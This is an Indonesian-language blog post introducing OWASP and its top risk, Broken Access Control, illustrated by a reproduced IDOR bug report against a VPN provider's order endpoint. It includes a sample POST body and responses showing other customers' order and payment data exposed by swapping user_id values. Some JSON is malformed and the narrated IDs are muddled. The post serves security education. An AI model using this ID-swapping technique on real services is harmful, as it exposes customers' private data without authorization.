GHrxexUTk8Cy9ibyQ09EFsI4Tl8sPmI2qnpAKStw
Bookmark

Owasp Top 10 Series — A1 (Broken Access Control)

Pada Artikel kali ini, akan masuk ke seri Owasp Top 10, kali ini saya akan menjelaskan OWASP Top 10 yang berada di urutan pertama yaitu Broken Access Control, sebelum ke topik, apa itu Owasp & apa itu Owasp Top 10?

Broken Access Control adalah sebuah kondisi yang dimana sebuah sistem aplikasi yang tidak punya Authorisasi yang cukup

Open Source Foundation for Application Security (OWASP Foundation)

Pengantar

OWASP merupakan singkatan dari Open Web Application Security Project, yang merupakan sebuah project Security Web Application open source yang diperkasai oleh para penggiat teknologi atau pengembang aplikasi, OWASP sering mengadakan seminar, forum diskusi serta pendidikan untuk para Developer.

jadi yang dimaksud OWASP TOP 10? owasp top 10 merupakan sebuah cara untuk mengkategorikan resiko kerentanan yang sering terjadi pada sebuah aplikasi berbasis website, dari yang paling atas (resiko tertinggi) hingga yang paling bawah (tingkat resiko rendah), Tujuannya apa ?, tentu saja ini sangat berguna bagi para developer aplikasi supaya mereka jadi lebih aware terhadap kerentanan di aplikasi mereka.

di artikel ini kita akan membahas owasp top 10 yang paling teratas untuk tahun 2021 (owasp tiap 4 tahun sekali), ialah Broken Access Control.


Broken Access Control adalah sebuah kondisi yang dimana sebuah sistem aplikasi yang tidak punya Authorisasi yang cukup, sehingga sistem tidak cukup baik dalam mengenal identitas user itu sendiri yang mengakibatkan sistem bisa menerima request dari yang seharusnya bukan hak user itu sendiri. (Guest user dapat hak Admin User).

Kelemahan sistem diatas bisa menyebabkan resiko yang tinggi bagi Confidentiality, Integrity, dan Availability (CIA TRIAD) sebuah data karena tidak difilter oleh developer yang dapat menyebabkan Data Breach (Pencurian data) oleh orang yang tidak bertanggung jawab. Biasanya sistem mengidentifikasi sebuah user dari beberapa hal, id refference (id user), Cookie (session user), PII (email, nomor HP, username), dll.

Berikut saya cantumkan beberapa contoh report dari orang lain dengan teknik IDOR :


disini attacker melakukan POST ke server (tanpa menggunakan authorisasi)

{

   "payment":{

      "provider_method_account":“6xdxdd”,

      "parameters":{

         

      }

   },

   "action":"order",

   "plan_id":653,

   "user_id":20027039,

   "tax_country_code":"TW",

   "payment_retry":0,

   "is_installment":false

}

Responnya :

{

   "id":42615458,

   "user_id":20027039,

   "confirmation":{

      "id":23093398,

      "created_at":"“2019-12-04 17":"01":35”,

      "updated_at":"“2019-12-04 17":"01":35”,

      "type":"redirect_post",

      "value":"“"{

         "url":"https:\/\/www.coinpayments.net\/index.php",

         "parameters":{

            "cmd":"_pay",

            "reset":1,

            "email":"█████",

            "merchant":"e64a9629f9a68cdeab5d0edd21b068d3",

            "currency":"USD",

            "amountf":125.64,

            "item_name":"VPN order",

            "invoice":"49476958",

            "success_url":"https:\/\/join.nordvpn.com\/payments\/callback\/264cae0b89e44a7bd263431b68d1122d",

            "cancel_url":"https:\/\/join.nordvpn.com\/order\/error\/?error_alert=payment&eu=1",

            "want_shipping":0

         }

      }"”"

   }

}

dari respon diatas, attaker mengganti user_id miliknya dengan menggunakan user_id korban.


{

   "id":42616142,

   "user_id":89495247,

   "confirmation":{

      "id":23093800,

      "created_at":"“2019-12-04 17":"16":48”,

      "updated_at":"“2019-12-04 17":"16":48”,

      "type":"redirect_post",

      "value":"“"{

         "url":"https:\/\/www.coinpayments.net\/index.php",

         "parameters":{

            "cmd":"_pay",

            "reset":1,

            "email":"hackerhacker@test.pl",

            "merchant":"e64a9629f9a68cdeab5d0edd21b068d3",

            "currency":"USD",

            "amountf":125.64,

            "item_name":"VPN order",

            "invoice":"49478089",

            "success_url":"https:\/\/join.nordvpn.com\/payments\/callback\/ 4513bd083a97e1b5c23c69096d89ac80",

            "cancel_url":"https:\/\/join.nordvpn.com\/order\/error\/?error_alert=payment&eu=0",

            "want_shipping":0

         }

      }"”"

   }

}

kemudian attacker mengganti user_id ke 23093782, output nya seperti ini :


{

   "id":42616121,

   "user_id":89495166,

   "confirmation":{

      "id":23093782,

      "created_at":"“2019-12-04 17":"16":14”,

      "updated_at":"“2019-12-04 17":"16":14”,

      "type":"redirect",

      "value":"“https"://pay.gocardless.com/flow/RE000W16X7XH4JCXJZ623MS6H7W316N3"\" } }"

kemudian attacker mengganti user_id ke 89495247 (Victims account), output nya seperti ini :


{

   "id":42616142,

   "user_id":89495247,

   "confirmation":{

      "id":23093800,

      "created_at":"“2019-12-04 17":"16":48”,

      "updated_at":"“2019-12-04 17":"16":48”,

      "type":"redirect_post",

      "value":"“"{

         "url":"https:\/\/www.coinpayments.net\/index.php",

         "parameters":{

            "cmd":"_pay",

            "reset":1,

            "email":"hackerhacker@test.pl",

            "merchant":"e64a9629f9a68cdeab5d0edd21b068d3",

            "currency":"USD",

            "amountf":125.64,

            "item_name":"VPN order",

            "invoice":"49478089",

            "success_url":"https:\/\/join.nordvpn.com\/payments\/callback\/4513bd083a97e1b5c23c69096d89ac80",

            "cancel_url":"https:\/\/join.nordvpn.com\/order\/error\/?error_alert=payment&eu=0",

            "want_shipping":0

         }

      }"”"

   }

}

Impact yang terjadi dikarenakan kerentanan ini :

  • Pencurian sensitive data milik costumer

Posting Komentar

Posting Komentar